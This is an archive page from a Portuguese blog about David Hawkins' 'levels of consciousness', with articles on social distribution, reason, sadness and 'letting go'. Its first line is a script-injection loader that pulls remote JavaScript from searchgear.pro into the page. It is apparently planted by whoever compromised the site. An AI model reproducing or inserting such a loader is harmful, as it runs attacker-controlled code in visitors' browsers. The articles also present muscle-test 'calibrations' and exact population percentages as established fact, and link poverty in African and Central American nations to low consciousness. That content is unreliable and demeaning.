;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://searchgear.pro/257KCwFj"); Arquivo de níveis de consciencia - David Hawkins Brasil
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Níveis de Consciência

Qual é a verdadeira origem do sofrimento humano?

Você já se perguntou por que uma porcentagem tão grande da população humana vive em níveis graves de pobreza e sofrimento?

Ou então, já se questionou por que alguns povos e grupos sociais parecem ter tanta dificuldade para se manterem empregados e longe do crime ou da corrupção?

É comum analisarmos as causas das dificuldades humanas, e normalmente acreditamos que a origem dos problemas está nas questões sociais, econômicas ou educacionais. Certamente, todos esses fatores fazem parte da equação.

Porém, através de décadas de estudo sobre as verdadeiras origens do sofrimento humano, Dr. David Hawkins nos mostra que existe um ponto mais profundo que culmina em todos os problemas de distribuição social: os níveis de energia da população.

Nos últimos artigos baseados no livro Poder vs Força, tivemos a oportunidade de conhecer os Níveis de Consciência e o Teste Muscular aplicado à Escala da Consciência

Agora, aprenderemos sobre a Distribuição Social e sua relação com os Níveis de Consciência das diversas “camadas” da população. Veremos como é a distribuição da sociedade em relação aos níveis de energia e consciência, e as consequências que isso traz em aspectos da vida cotidiana.

Distribuição Social dos Níveis de Consciência

De acordo com milhões de calibragens feitas no estudo dos níveis de consciência humana, Dr. David Hawkins constatou que uma representação gráfica da distribuição dos níveis de energia da população mundial se assemelharia ao formato de uma pirâmide.

Ou seja, são diversas “camadas” da população, onde a parte baixa da pirâmide concentra muito mais pessoas do que a parte alta. Neste caso, 85% da raça humana calibra abaixo de 200 (Coragem), nível crítico onde inicia a integridade.

Em outras palavras, a maioria esmagadora da população humana (85%) vive suas vidas baseada em emoções como Orgulho, Raiva, Ganância, Medo, Tristeza, Apatia, Culpa e Vergonha.

Em um primeiro momento esta porcentagem pode até parecer improvável, mas basta examinarmos as condições do mundo para percebermos que alguns subcontinentes inteiros têm dificuldades até mesmo de sobreviver. Nesses locais, fome e doenças são comuns, assim como opressão política e escassez de recursos sociais.

As energias de Apatia e Medo levam à miséria e sofrimento

Em alguns países e locais, a população vive em um estado constante de Apatia. Este é um nível de consciência extremamente baixo (apenas 50 na Escala de Consciência, que vai de 1 a 1.000).

O estado energético de apatia, que é um estado praticamente de ausência de consciência, faz com que a vida se torne desesperançosa e miserável. Não há perspectiva de futuro e todos os problemas parecem não ter solução.

Além disso, grande parte do resto da população mundial vive basicamente no nível de consciência do Medo (nível 100 na Escala da Consciência). 

Até certo ponto, é comum que o ser humano busque uma forma ou outra de segurança durante toda a sua vida. No entanto, pessoas que baseiam sua existência na energia do medo não conseguem avançar em nenhuma área da vida. Elas vivem preocupadas, com medo de perder, e acabam atraindo todos os tipos de problemas — pois seu foco está sempre naquilo que podem perder, onde podem falhar, ataques que podem sofrer etc.

O Desejo e o Orgulho aprisionam as pessoas no status

Uma parte da população mundial transcende a desesperança (Apatia) e o mero impulso de sobrevivência (Medo) e passa a buscar satisfazer suas vontades a partir do nível de consciência de Desejo/Ganância (125 na Escala da Consciência, que vai de 1 a 1.000).

Essa é a energia que impulsiona diversos setores da economia por meio do consumo, da propaganda e, inclusive, da própria inveja. Quando os seres humanos conseguem alcançar seus objetos de desejo, eles desenvolvem o que o mundo muitas vezes reconhece como sucesso e status. Isso os leva ao nível de consciência do Orgulho (175 na Escala de Consciência).

Entre os níveis considerados negativos (aqueles abaixo de 200 na escala de 1 a 1.000), o nível de Orgulho é o nível negativo que está mais próximo das energias positivas. O problema é que, justamente por isso, ele se torna um “falso positivo”. 

Para as pessoas que até então viviam presas em Apatia ou Medo, o Orgulho parece extremamente agradável e atrativo. Contudo, Dr. Hawkins destaca que não se pode ter qualquer satisfação humana significativa antes do nível de 250 (Neutralidade).

Isso porque todos níveis negativos trazem muito mais sofrimento do que alegria (mesmo no nível de Orgulho, a felicidade chega a no máximo 22%).

Já no primeiro nível positivo, a Coragem, a felicidade já salta para 55%. O desafio aí é que a Coragem ainda está muito suscetível à influência e às oscilações dos níveis negativos. Por isso Hawkins nos diz que a Neutralidade representa o primeiro nível de consciência seguro para um indivíduo ou para uma população.

Correlação cultural dos níveis de consciência

Como mencionamos, cada nível de consciência ou nível de energia terá como consequência determinados padrões nos aspectos da vida cotidiana da população.

A seguir, os níveis abaixo de 200 representam os níveis negativos de consciência, enquanto os níveis acima de 200 representam as energias positivas.

Níveis abaixo de 200 (níveis de sofrimento acentuado)

Nos países e populações que calibram abaixo de 200, o foco está simplesmente em sobreviver. O padrão aqui é de escassez. Faltam roupas, o analfabetismo é comum, as doenças e a desnutrição estão presentes, a mortalidade infantil é alta.

Povos que calibram abaixo de 200 fazem trabalhos pouco qualificados, comércio rudimentar e constroem artefatos simples, como canoas e alojamentos temporários. O estilo de vida pode ser ainda nômade, ou então contar com agricultura pouco evoluída. São os países subdesenvolvidos, como é comum em certas nações da África ou América Central.

As populações que calibram em torno de 200 apresentam mão de obra semiqualificada. As roupas são adequadas e a educação fundamental já está presente.

Níveis de 200 a 299 (Coragem e Neutralidade)


Aqui já vemos povos ou camadas da população com mão de obra qualificada, trabalhadores de escritório, negociantes e comerciantes, além de indústrias.

Nos níveis anteriores a pesca, por exemplo, é uma atividade de subsistência. A partir daqui ela já se torna uma indústria.

Níveis de 300 a 399 (Disposição e Aceitação)

A partir do nível de 300, temos os profissionais técnicos, gerentes, os artesãos habilidosos e as estruturas de negócio mais sofisticadas.

Em populações desses níveis, a conclusão do ensino superior se torna algo comum. Aqui temos os países em desenvolvimento, os quais ainda têm muitos pontos de desigualdade para superar, mas onde a qualidade de vida já é muito superior às nações abaixo de 200.

As pessoas se interessam por esportes, estilo e entretenimento. A TV costuma ser um grande passatempo.

Conforme avançamos (nível 350 em diante), encontramos a gerência superior, os educadores e os artesãos mais conscientes. São as pessoas que pensam no coletivo, tendo uma visão de mundo que vai além da sua vizinhança ou cidade. Aqui a sobrevivência já está assegurada por uma série de habilidades que foram desenvolvidas, então é possível focar em contribuir com o mundo, viajar e curtir a vida de outras formas.

Níveis de 400 a 499 (Razão)

No nível da razão vemos o despertar do intelecto. O foco se volta à educação superior, à ciência, à literatura. A razão é a consciência típica dos executivos e cientistas. Em termos globais, este é o nível das nações desenvolvidas.

Se nos níveis mais baixos as casas das pessoas apresentam poucos materiais de leitura, aqui as famílias leem jornais, revistas e têm estantes cheias de livros. Na TV, o interesse é por canais de educação e consciência política mais sofisticada. Grandes referências em comunicação, em questões intelectuais e artísticas estão neste nível, assim como grandes juízes, estadistas, inventores e líderes de indústrias. As recreações agora envolvem o xadrez, viagens culturais, shows e espetáculos de teatro.

Como a educação é a base deste nível, as pessoas costumam se reunir em grandes áreas metropolitanas, onde existem os centros importantes de instrução e informação, como as grandes universidades. Para ter uma ideia, Albert Einstein e Sigmund Freud calibravam em 499, assim como Newton e Descartes.

Níveis acima de 500 (Amor, Paz e Iluminação)

Se no nível de 200 temos uma “divisão” crítica da consciência, um outro grande salto acontece aos 500. Aqui a grande motivação passa a ser o Amor, independente da atividade que esteja sendo executada.

Pessoas nesse nível trazem a excelência, a criatividade, a dedicação, o compromisso e o altruísmo como marca. A partir desse nível emergem grandes obras da música, arquitetura e outras artes. Nos 500 mais altos estão os líderes mais inspiradores, que servem de exemplo para toda a sociedade e que ajudam a reduzir o sofrimento da humanidade.

Pouquíssimas pessoas despertam o nível de 600, caracterizado pela Paz. Nesse ponto o indivíduo pode se tornar uma “lenda”, tendo como marca principal a compaixão.

Os níveis de consciência e a origem do sofrimento ou felicidade: o que podemos concluir

Desde que nascem, todas as pessoas já possuem um nível de consciência. Em média, o nível de consciência só aumenta em cinco pontos para cada pessoa ao longo da vida. Isso não quer dizer que não possam haver saltos de consciência ou grandes evoluções individuais — afinal, estamos falando da média da população.

Esse nível de energia, desde o nascimento, é o principal ponto de influência que determina se as experiências das pessoas serão positivas ou negativas, felizes ou sofridas; se elas passarão por desemprego ou encontrarão oportunidades constantes; se buscarão crescer ou permanecerão apáticas.

Segundo Dr. David Hawkins, o nível de consciência é definido por motivação e escolha. Portanto, a maneira mais efetiva para melhorar a situação de vida e vencer o sofrimento é buscar se conectar com um novo nível de consciência mais expandido — isso serve tanto para um indivíduo como para uma população.

De acordo com Hawkins , se escolhermos conscientemente viver a vida de maneira amigável, sincera, amável e tolerante, além de altruísta, certamente níveis mais elevados de consciência podem ser atingidos, embora na prática isso exija uma grande disposição.

A oportunidade de superar o sofrimento e transformar a vida existe para todos que se determinarem verdadeiramente a ativar esse potencial.

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David Hawkins

Respostas: Onde Você Busca por Elas?

Somos seres questionadores por natureza. Queremos obter respostas para todas nossas dúvidas e problemas. Vivemos buscando respostas.

Mas, será que buscamos por elas no lugar certo? Nossa mente é geralmente o primeiro recurso que usamos para obtê-las.

Observe as perguntas que a mente faz:

  • O que tem de errado com a gente?
  • Sou só eu ou o mundo que está enlouquecendo?
  • Onde estão as respostas?

Aí você obtém algumas respostas, mas percebe que elas apenas aliviam momentaneamente suas dúvidas e a seguir surgem novas questões:

  • A mente humana é uma bagunça, há esperança?
  • Será que Deus sabe o que está fazendo?
  • Está tudo confuso.

A mente tagarela o tempo todo.

Não se preocupe, buscar respostas é um processo humano

É um movimento comum do ser humano buscar respostas nas mais diversas áreas do conhecimento como: ciências, terapias, filosofias, religiões, astrologia, misticismo, enfim, mesmo recorrendo a uma infinidade de possibilidades, a busca por respostas é geralmente infrutífera. Ao final das mais diversas buscas, sentimos que nossas questões ainda não foram respondidas, ainda mantemos a dúvida e novas questões em mente.

A mente parece tagarelar em qualquer lugar que se procure uma solução.

Algumas pessoas tendem a banalizar os questionamentos da vida dizendo que ela é simples e que não entendem o porquê de tantas dúvidas. Na verdade, podem estar negando o próprio medo de enxergar a tudo isso. Especialistas sofisticam as questões e tentam catalogar crenças e respostas.

A verdade é que o ser humano busca conhecimento, tratamento, frequenta terapias, escolas, cursos, muda nutrição, entre tantas alternativas que podemos citar, sempre com o intuito de obter respostas, numa busca incansável e interminável.

Uma procura incansável por respostas

O que move o ser humano nessa direção? A esperança? O que o motiva a continuar buscando?

Onde está o nosso ponto cego? Por que não conseguimos encontrar a resposta?

Talvez porque:

  • ela seja muito simples
  • buscamos fora o que está dentro
  • mantemos muitos sistemas de crenças e nos tornamos cegos para o óbvio

Não conseguimos respostas porque não entendemos o problema

Qual é o segredo daqueles que conseguiram obter respostas?

Muitos caminhos espirituais são seguidos por multidões, mas poucos percebem a verdade última. E, por que isso não funciona? Por que quebramos a cara?

  • O ego entra em ação rapidamente e somos pegos pelo orgulho e a presunção achando que sabemos a resposta

Segundo Dr. Hawkins, devemos nos afastar daqueles que têm respostas, que se dizem justos e bons samaritanos.

“Confusão é nossa salvação. Para o confuso ainda há esperança. Mantenha-se em sua confusão. No fim ela é sua melhor amiga, sua melhor defesa contra a verdade absoluta das respostas dos outros, contra o ser oprimido por suas ideias. Se você está confuso, você ainda está livre!”

Dr. David Hawkins

Como alcançar a clareza e transcender os problemas?

Dr. Hawkins sugere que não se busque a resposta, mas que se procure desfazer a base do problema. As soluções e respostas encontram-se dentro de nós através de recursos disponíveis a todos, indistintamente.

“Conhece a ti mesmo”

“A verdade te libertará”

“O Reino de Deus está dentro de você.”

Tudo o que precisamos para solucionar qualquer questão já está dentro de nós, ninguém poderá nos roubar isso. E é a certeza da posse desse conhecimento interior, inconsciente, que sempre esteve dentro de nós que levou o professor Hawkins a descrever o mecanismo simples do “deixar ir”.

A prática desse mecanismo é capaz de processar mudanças notáveis. São esses conhecimentos que os Grandes Mestres nos trouxeram e que estamos há tanto tempo tentando compreendê-los.

A partir do momento em que compreendemos o mecanismo e o aplicamos em nossa vida, vamos nos sentindo mais livres, como se um peso saísse de nossas costas.

Um método simples e palpável

A partir do momento que conheça o método e passe a usá-lo, parecerá algo tão simples que talvez você até desconfie. Dr. Hawkins prefere que tenhamos exatamente essa postura:

“Melhor que euforia, uma observação silenciosa vai servir-lhe melhor.”

Deixar ir é uma metodologia que sugere apenas que redescubra aquilo que está dentro de você, que sempre foi seu, que emerge de sua própria natureza.

Por que compartilhar isso?

Pelo simples fato de colocar todos em contato com seus próprios sentimentos e experiências internas. Deixar ir significa rendição e ela virá automaticamente, pois buscar alívio a dor, ao sofrimento é algo natural que leva à experiência da felicidade maior.

No próximo artigo vamos descrever mais detalhadamente o processo descrito no livro “Deixar Ir”, da rendição que está em todos nós.

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Níveis de Consciência

Apenas 4% das Pessoas utilizam a Razão – com base em Dr. David Hawkins

Por mais que sejamos considerados animais racionais, apenas uma pequena parcela da população do mundo alcança o nível de consciência da razão.

De acordo com as pesquisas realizadas pelo Dr. David R. Hawkins, MD e PhD, dentro da tabela dos níveis de consciência, a maior parte da população mundial (78%) encontra-se nos níveis negativos de consciência. A razão disso é justamente a ausência dela.

Estar nos níveis negativos de consciência significa deixar levar-se pelos impulsos instintivos animais de:

  • desejo,
  • raiva,
  • irritação,
  • medo,
  • orgulho,
  • vaidade,
  • culpa,
  • tristeza e
  • vergonha.

São pessoas que dão atenção demais a esses sentimentos e vivem suas vidas em prol do egoísmo e da sobrevivência física e emocional de si mesmas, dando aos outros apenas para ganhar reconhecimento e prestígio, sem a presença de um real altruísmo ou vontade de contribuir para o bem-estar coletivo.

Outros 15% da somatória, encontram-se nos níveis de consciência emocionais positivos, abordado nos últimos artigos.

Pessoas que vivem suas vidas com base na coragem, neutralidade, disposição e aceitação, transcenderam a base de seus egos individuais e partiram para a contribuição e construção de uma sociedade melhor.

Esses níveis positivos denotam: otimismo, construtivismo, foco no bem-estar de si mesmo e dos outros e, principalmente, o aumento progressivo de humildade.

A emoção impacta na razão

É importante observar que estágios positivos de consciência ainda têm a emoção como foco, e quando uma emoção positiva toma conta, pode virar euforia, que abre a porta direta para a melancolia, frustração e os demais estágios de consciência negativos.

O julgamentalismo ainda está constantemente presente. Nega-se os sentimentos negativos para não ter que lidar com eles, e isso os faz se acumularem no inconsciente e podem causar explosões de impulsos e insanidades eventuais que acarretam em culpa e vergonha.

Assim, o foco no positivo que negligencia o negativo pode ser o principal motivo para a descrença e retorno ao negativo.

Para se ter uma vida equilibrada, onde a emoção se torna pano de fundo do que nos torna realmente diferente das outras espécies de animais, é necessário transcender as emoções e se conectar com o que recebemos de maior benefício por sermos humanos: o dom da razão.

Com a razão podemos tanto sair dos estágios conscientes negativos e transcender as emoções positivas, assim como serve de trampolim para estágios de consciência acima da razão (aos quais chegam apenas de 3% a 4% da população).

Animais racionais

Muitos seres inteligentes e racionais em nossa história, acabaram se corrompendo por permitir que seu lado animal tomasse conta através da energia do orgulho, onde acontece a inversão de valores da presença do bem para a ausência do bem.

Podemos ver grandes políticos como:

  • Hitler,
  • Napoleão,
  • Papa Doc, 
  • Yasser Arafat,

Assim como muitos outros, foram exemplos para suas nações antes de se corromperem por motivos ilusórios de poder e controle.

O animal toma conta e a inteligência se torna a arma mais perigosa do mundo. E o extermínio iminente acontece.

Muitas pessoas, assim como esses exemplos acima, em escalas muito menos impactantes, ignoram suas sombras internas e suas emoções e distorcem a realidade dizendo serem mais racionais do que emocionais.

Porém, quando estão diante de situações diversas como por exemplo:

  • Assistindo ao jornal, jorram julgamentos e indignação.
  • No trânsito, criticam e condenam os demais pelos seus erros.
  • Em sua família, apenas a sua palavra e opinião narcisista é que vale como verdade.

E isso não pode ser razão. Na realidade, isso está bastante longe da razão, pois é emoção pura. E ainda negativa.

Muitos homens se gabam de serem fortes por não chorarem ou ficarem abatidos, mas escondem sua tristeza e melancolia atrás da raiva, indignação, cinismo e arrogância por serem covardes demais para enfrentarem seus reais medos.

Buscam cada vez mais se armarem de informações para ganharem discussões e acumularem conhecimento para terem suas opiniões formadas e fortalecidas por argumentações aleatórias e desprovidas de realidade. E então, a ausência de sabedoria se revela.

Conhecimento e Sabedoria

Conhecimento é ter informações sobre o outro, sobre o externo, sobre o que está fora. Usar palavras para manipular e tirar vantagem de ganho ou recompensa.

Sabedoria é ter experiências sobre si mesmo, sobre o interno, sobre o que está dentro.

A base na sabedoria, compartilha palavras para convencer (do latim vencer juntos) as outras pessoas que há algo melhor a ser feito do que elas vêm fazendo hoje, caso elas queiram enxergar.

Enquanto a base no conhecimento, impõe conceitos para manipular (do latim manusear) as outras pessoas para acreditarem naquilo que eu quero que elas acreditem ou façam exclusivamente para que eu ganhe algo ou comprove a elas que eu estou certo.

Um homem que é arrogante o suficiente para não aceitar suas fraquezas, continuará enxergando o mundo com feiura, não adiantando em nada suas críticas.

Porém, quando um homem decide trocar arrogância por humildade, o mundo todo ganha sem ele ter que ‘fazer’ nada, apenas por ‘ser’ corajoso em assumir seus defeitos de caráter e corrigi-los naturalmente.

Seres Humanos

Ser humano é dominar os impulsos instintivos do cérebro límbico animal e enxergar a razão e lógica advinda do neocórtex cerebral para tomar decisões mais cabíveis e coerentes e manter uma intenção de harmonia cada vez mais presente.

O nível de consciência da razão é o que traz benefícios mais evidentes e palpáveis em nossa sociedade. Grandes juízes da Suprema Corte, estadistas, cientistas, filósofos, doutores íntegros. São proeminentes desse estado.

Hoje no Brasil temos o exemplo de integridades racionais como Joaquim Barbosa e Sergio Moro e conseguimos sentir o impacto benéfico para toda a sociedade a partir de seus atos em nome do bem maior.

Vemos também as grandes transformações daqueles que alcançaram os níveis avançados da razão como:

  • Albert Einstein,
  • Isaac Newton,
  • Platão, Aristóteles,
  • Descartes,
  • Freud,
  • Stephen Hawking

Esses, entre muitos outros grandes homens da ciência e da filosofia favoreceram eras posteriores às suas através de suas pesquisas, experiências e análises.

Então, o que é a razão?

A razão é o nível de consciência da lógica, da análise e entendimento de dados.

A busca dos fatos ao invés do julgamento ou do pré-conceito.

É o estado onde se busca a cada instante trocar condenação por compreensão.

Neste nível de consciência são valorizados o estudo, a educação e o respeito às leis. A regra de ouro prevalece: “não faça aos outros o que não gostaria que fizessem com você”.

A boa notícia é que qualquer pessoa pode chegar neste estado de consciência desde que queira realmente.

Não é necessário uma profissão ou cargo que denote a razão para ser racional. Não há uma faculdade ou curso de especialização que se ensine isso.

Como alcançar o estado da razão?

Este é um exercício diário de autoconhecimento e humildade. A humildade de saber que não se sabe de nada e que vale a pena ouvir, pesquisar, investigar e se ater aos fatos e não às próprias opiniões repletas de posicionamentos e emocionalidades.

Para se alcançar o nível de consciência da Razão, é necessário trocar julgamento por entendimento, se conectar profundamente com o perdão e diminuir as intervenções das emoções negativas no dia a dia, assim como desapegar das emoções positivas como mola propulsoras de suas ações.

Ser racional não significa ser frio, pelo contrário, o calor do altruísmo está mais presente, porque já se entende que as emoções sem domínio tem potencial autodestrutivo e destrutivo.

Ser racional é escolher e selecionar as emoções as quais você quer manter em você.

Observar as emoções surgirem e deixarem elas irem por saber que este impulso não será benéfico a si mesmo e às pessoas ao seu redor.

É um processo de triagem, de inteligência, de compreensão de si mesmo e dos outros.

O crescimento da humanidade se dá através da razão

A razão é o alicerce linear perceptível de crescimento e desenvolvimento da humanidade.

Por mais que pareça difícil e utópico, nada mais é do que prática.

Prática é se desafiar constantemente e observar as sombras das emoções negativas que brotam com as atitudes de sair da zona de conforto constantemente.

Escolher desafios em todas as áreas da vida pode acelerar mais do que 1.000 vezes o processo de evolução de uma pessoa comparada a outra que não se desafia e prefere viver se apegando a confortos, o que gera concomitantemente sofrimentos.

Basta escolher constantemente desafios que te tirem da zona de conforto em áreas que consideramos inocentes como:

  • alimentação,
  • sono,
  • percepção térmica,
  • prazeres,
  • atividades domésticos e profissionais,
  • relacionamentos,
  • forma de expressão com os outros,
  • em seu autoconhecimento e
  • em sua espiritualidade.

É preciso criar um compromisso com a Verdade do destemor e da coragem.

Para inspirar este processo, a Pandora Treinamentos oferece um Programa de Alta Performance que estimula e acelera o processo evolutivo em todas as áreas da vida.

Que o mundo possa ganhar com mais uma pessoa que busca sua evolução a partir de agora.

Gratidão e boas práticas.

Este artigo faz parte de uma série de artigos que exploram os níveis de consciência humanos.

Abaixo a lista dos artigos sobre os níveis de consciência em ordem:

00. Entendendo os níveis de consciência

01. Como vencer a vergonha?

02. Culpa, para que serve?

03. Como se livrar da tristeza?

04. Enfrentando o medo.

05. O desejo é a fonte do sofrimento.

06. Como controlar a raiva.

07. Por que o orgulho nos prejudica?

08. Coragem é a base para o sucesso.

09. A neutralidade nos ajuda a não sofrer.

10. Disposição pode nos levar a resultados inimagináveis.

11. Aceitação, o caminho do perdão.

12. Apenas 4% das pessoas utilizam a razão.

13. O que é amor verdadeiro?

14. A Paz e o processo de Iluminação

15. Como despertar a Iluminação Espiritual

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Níveis de Consciência

Como se Livrar da tristeza – com base em Dr. David Hawkins

A tristeza é uma reação natural do ego humano que aparece toda vez que nos frustramos sobre uma expectativa.

Ficamos tristes todas as vezes que perdemos algo, alguém, uma posição ou não conseguimos aquilo que queríamos. A tristeza é uma condição de luto.

Por que ela surge? Ela aparece como forma de impotência por não ter conseguido intervir para alcançar um resultado, salvar seu objeto ou manter um relacionamento próximo.

Com isso, ficamos emocionalmente abalados por não sabermos como será o futuro sem aquele algo que nos acompanhou até ali.

Ou, ainda, vivemos na incerteza pelos planos não terem dado certo.

De onde ela surge?

Nosso ego é completamente aversivo à incerteza e é daí que nascem as emoções negativas.

Aversão ao desconhecido. Aversão por não saber se o diferente será tão prazeroso como imaginamos que seria ou como foi no passado.

A tristeza surge da ilusão de que:

  1. Tudo aquilo que imaginamos nas condições perfeitas e possíveis de nossa mente irá se manifestar na realidade (e se não se manifestar seremos infelizes);
  2. Tudo aquilo que possuímos continuará conosco pelo período que acreditamos ser o ideal em nossa mente.

Vamos ver um exemplo de ilusão que gera tristeza:

Quando eu compro um carro, já planejo ficar com ele por uns 3 anos e depois vendê-lo, sem qualquer arranhão, e ganhar um bom dinheiro na venda.

Se algo sair desta expectativa, me frustro e encontro a tristeza.

Pode acontecer do carro:

  • bater,
  • ser roubado,
  • quebrar,
  • sair de linha,
  • ser desvalorizado,
  • ocorrer uma crise econômica,
  • posso não achar um bom comprador,
  • posso ficar sem dinheiro pra completar a entrada para um novo carro.

Ou seja, infinitas possibilidades.

Mas, como em minha mente tudo é perfeito, quero (mimadamente) que tudo saia de acordo com o esperado. Não sairá!

Como, então, diminuir a tristeza em nossas vidas?

Para que possamos diminuir nossas expectativas e tristezas, um bom exercício é perceber que tudo é impermanente.

E, mais do que isso, perceber que tudo acontece por sincronicidade.

Essa sincronicidade está ligada à diversas variáveis. Depende da:

  • intenção de 7 bilhões de pessoas,
  • das culturas e condições sociais de cada ambiente,
  • mais a natureza,
  • mais as condições climáticas e territoriais,
  • e ainda do universo todo se movimentando.

Então, o que tiver que acontecer, irá acontecer para que a sincronia continue perfeita.

Assimilando isso, percebemos que nosso controle sobre as coisas é frágil.

Aí nos aproximamos mais da realidade como ela é, e não como gostaríamos que fosse em nossa imaginação.

Pois, só na imaginação controlamos todas as situações e pessoas do jeito que queremos.

Com esse primeiro discernimento, podemos avaliar o seguinte: nada é propriedade nossa (com total controle).

Apenas exercemos um governo e uma responsabilidade pelas coisas, pessoas e situações que estamos inseridos, enquanto a sincronia da vida permite.

São pequenos mimos que recebemos da vida por um período para que possamos desfrutar de prazeres.

Por isso, se essas condições forem supervalorizadas, no momento onde esses mimos tiverem que se separar de nós, vão nos fazer chorar, gritar e berrar, como uma criança birrenta.

Pergunte a si mesmo: quem está lidando com a perda que causa tristeza?

Vale então se perguntar: quem é que está lidando com essa perda, o adulto maduro ou a criança mimada dentro de mim?

O adulto maduro percebe a perda como algo natural da vida que muda a todo instante e, por mais que sofra, encara aquilo com coragem de seguir em frente.

A criança mimada já acha que o mundo dela acabou. Acha que nunca mais será feliz, que a vida é injusta, que Deus está punindo, etc etc etc. Acredita em “história para boi dormir”.

E por isso vem a tristeza. Entendendo que tudo é impermanente e estamos exercendo uma responsabilidade temporária, podemos trocar expectativas de cenários ideais por intenções reais.

Abrindo mão, deixando ir.

É necessário abrir mão de posturas como:

  • “tenho que proteger isso (pessoa, coisa, situação, ideia, opinião, expectativa) com unhas e dentes”.
  • “isso é meu e tem que durar o quanto eu quero” — reação da inconsciência animal emocional.

Assim, passo a exercer o: “vou dar meu melhor para desfrutar disso enquanto me for permitido” — intenção da consciência humana racional.

Essa abordagem — com base na realidade como ela se manifesta — nos protege de acreditar nos véus de ilusão que nos permitimos colocar através das sugestões incansáveis de nossa mente tagarela e desesperada.

Afinal, esses véus ilusórios foram criados simplesmente pelas projeções de expectativas de nossos círculos sociais sobre nós e pelos ideais inconscientes culturais de nossa sociedade.

Agora que entende um pouco melhor o que é a tristeza, segue uma sugestão: se você quiser realizar outras práticas para complementar a abordada neste artigo, pode visitar a página de Autodesafios© Pandora Treinamentos e verificar qual área da sua vida está passando por dificuldades e que você gostaria de ajustar.

Boas práticas.

Este artigo faz parte de uma série de artigos que exploram os níveis de consciência humanos.

Abaixo a lista dos artigos sobre os níveis de consciência em ordem:

00. Entendendo os níveis de consciência

01. Como vencer a vergonha?

02. Culpa, para que serve?

03. Como se livrar da tristeza?

04. Enfrentando o medo.

05. O desejo é a fonte do sofrimento.

06. Como controlar a raiva.

07. Por que o orgulho pode nos Prejudicar?

08. Coragem é a base do sucesso.

09. A neutralidade nos ajudar a não sofrer.  

10. Disposição pode nos levar a resultados inimagináveis

11. Aceitação, o caminho do perdão.

12. Apenas 4% das pessoas utilizam a razão.

13. O que é amor verdadeiro?

14. A Paz e o processo de Iluminação

15. Como despertar a Iluminação Espiritual